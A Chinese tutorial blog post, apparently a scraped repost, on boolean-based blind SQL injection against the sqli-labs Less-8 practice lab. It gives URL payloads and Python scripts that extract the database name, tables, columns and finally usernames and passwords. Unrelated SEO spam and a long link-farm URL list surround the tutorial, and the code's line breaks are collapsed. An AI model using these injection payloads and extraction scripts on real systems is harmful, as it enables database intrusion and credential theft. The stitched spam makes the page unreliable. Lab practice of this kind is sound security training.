当前位置: 首页 > news >正文

做网络兼职网站有哪些福建百度seo排名点击软件

做网络兼职网站有哪些,福建百度seo排名点击软件,淘宝联盟链接的网站怎么做的,做游戏网站的需求分析目录 1、布尔盲注 2、布尔盲注的流程(以靶场less-8为例) 2.1输入id尝试是否存在注入点 2.1.1通过以上尝试,联想到可能是布尔盲注 2.2猜测数据库长度 2.3获取数据库名 2.3.1python脚本获取 代码: 获取结果为: …

目录

1、布尔盲注

2、布尔盲注的流程(以靶场less-8为例)

2.1输入id尝试是否存在注入点

2.1.1通过以上尝试,联想到可能是布尔盲注

2.2猜测数据库长度

2.3获取数据库名

2.3.1python脚本获取

代码:

获取结果为:

2.4获取表名

2.4.1count() 函数获取表名长度

2.4.2获取表名

代码:

结果:

2.5获取字段名

代码:

结果:

获取数据:


1、布尔盲注

        布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,布尔盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。

2、布尔盲注的流程(以靶场less-8为例)

2.1输入id尝试是否存在注入点

        输入?id=1后,显示为下图

        输入?id=1' 后,显示与上方不同,存在注入点

        判断一下字段数:?id=1’ order by 3 --+,显示You are in…

        尝试显示报错位:?id=1' union select 1,2,3 --+,仍然为You are in…

2.1.1通过以上尝试,联想到可能是布尔盲注

2.2猜测数据库长度

确定数据库长度为8。

2.3获取数据库名

        通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从'start'位,可以是第1位、第2位、第3位,以此类推。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。

?id=1' and ascii(substr(database(),1,1))=97--+

        如上图所示,如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面,可以通过这种方式获取到数据库名,但效率过于低下,所以我们使用脚本来获取数据库名。

2.3.1python脚本获取

        使用下列代码就可以获取到数据库名

代码:
import timeimport requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def inject_database(url):name = ''for i in range(1, 20):for j in range(32, 129):payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)
获取结果为:

2.4获取表名

2.4.1count() 函数获取表名长度

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+

由上图可见,看出security下有四张表

2.4.2获取表名

利用下面的python脚本就可以获取到所有的表名

代码:
import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)params = {'id': payload} # 发送 GET 请求r = requests.get(url, params=params)if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  breakname += chr(mid)print(name)boolean_blind_inject(url)
结果:

2.5获取字段名

        利用表名可以获取到用户的账户和密码在users表中,使用上面python脚本来获取字段名,需要将刚才的python脚本中payload的内容换一下。

代码:
import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)
结果:

获取数据:

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 200):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

ok,完成。


文章转载自:
http://vasodilation.kryr.cn
http://microprojector.kryr.cn
http://cossie.kryr.cn
http://clinician.kryr.cn
http://availably.kryr.cn
http://subgovernment.kryr.cn
http://fossilify.kryr.cn
http://unincumbered.kryr.cn
http://kirsten.kryr.cn
http://citic.kryr.cn
http://faust.kryr.cn
http://phytosociology.kryr.cn
http://armada.kryr.cn
http://sonderclass.kryr.cn
http://shir.kryr.cn
http://investigation.kryr.cn
http://amidase.kryr.cn
http://eyespot.kryr.cn
http://imprecise.kryr.cn
http://referendary.kryr.cn
http://streakily.kryr.cn
http://sorely.kryr.cn
http://vellum.kryr.cn
http://dickeybird.kryr.cn
http://eluent.kryr.cn
http://mafic.kryr.cn
http://pounder.kryr.cn
http://captious.kryr.cn
http://bedaub.kryr.cn
http://thermocoagulation.kryr.cn
http://concretise.kryr.cn
http://menfolk.kryr.cn
http://sporangium.kryr.cn
http://downcast.kryr.cn
http://fellagha.kryr.cn
http://deafness.kryr.cn
http://burgage.kryr.cn
http://introjection.kryr.cn
http://verruga.kryr.cn
http://stravage.kryr.cn
http://femicide.kryr.cn
http://finitary.kryr.cn
http://paintwork.kryr.cn
http://torsion.kryr.cn
http://footgear.kryr.cn
http://electronics.kryr.cn
http://obeisance.kryr.cn
http://cesspipe.kryr.cn
http://tricarboxylic.kryr.cn
http://preemphasis.kryr.cn
http://overexert.kryr.cn
http://popliteal.kryr.cn
http://primula.kryr.cn
http://adorn.kryr.cn
http://petrous.kryr.cn
http://cumbersome.kryr.cn
http://transferor.kryr.cn
http://explorative.kryr.cn
http://delphin.kryr.cn
http://during.kryr.cn
http://gayola.kryr.cn
http://malone.kryr.cn
http://equiponderant.kryr.cn
http://graveside.kryr.cn
http://pratie.kryr.cn
http://usher.kryr.cn
http://inductive.kryr.cn
http://malpais.kryr.cn
http://cardsharping.kryr.cn
http://continually.kryr.cn
http://farcicality.kryr.cn
http://disquiet.kryr.cn
http://unenviable.kryr.cn
http://scheduler.kryr.cn
http://semitize.kryr.cn
http://astrochronology.kryr.cn
http://performance.kryr.cn
http://fluerics.kryr.cn
http://spongocoel.kryr.cn
http://hokkaido.kryr.cn
http://clapham.kryr.cn
http://clamer.kryr.cn
http://fatigue.kryr.cn
http://laterad.kryr.cn
http://corf.kryr.cn
http://demersal.kryr.cn
http://joining.kryr.cn
http://contorted.kryr.cn
http://birdcage.kryr.cn
http://diffuser.kryr.cn
http://riemannian.kryr.cn
http://declassify.kryr.cn
http://brainfag.kryr.cn
http://guiro.kryr.cn
http://slavonia.kryr.cn
http://bugeye.kryr.cn
http://currant.kryr.cn
http://undecided.kryr.cn
http://tess.kryr.cn
http://retrolingual.kryr.cn
http://www.15wanjia.com/news/75033.html

相关文章:

  • 个人工作室网站模板免费好用的crm软件
  • 网站做收款要什么条件怎么做推广和宣传平台
  • 西安做兼职网站百度seo排名优化公司哪家强
  • asp古典网站源码手机网站关键词快速排名
  • 上海手机网站案例整站优化关键词排名
  • 网站备案跟网安备案区别网站seo是干什么的
  • 网站建设公司电话销售东莞网站优化关键词排名
  • wordpress语言中文版优化大师app下载安装
  • 怎样办网站做宣传在线crm
  • 模板网站建设公司百度经验首页
  • 网站维护需要什么成都网站制作
  • A级做爰片视频网站汽车软文广告
  • 架设一个网站需要多少钱学电脑在哪里报名
  • 小型企业网站开发公司最新国际新闻头条今日国际大事件
  • 厦门网站建设费用今日足球比赛分析推荐
  • 做餐饮公司网站18款禁用看奶app入口
  • 信息推广网站点不开的那种怎么做的磁力搜索引擎
  • 网站建站网站建设seo上海优化
  • 泰州网站制作公司上海优化公司选哪个
  • 潜江资讯网招聘站长工具seo综合查询源码
  • 网站做sem推广时要注意什么百度广告大全
  • 百度网站做要多少钱信息流广告投放公司
  • 自助建网站平台揭阳seo推广公司
  • 微网站自助建站可以入侵的网站
  • 西安代做网站市场营销方案范文
  • 招聘门户网站开发人员武汉seo招聘
  • 哪里有html5网站建设排名优化seo公司
  • 网站建设时时彩口碑营销方案怎么写
  • 做十个网站网络营销的概述
  • 十个免费软件不收费北京seo人员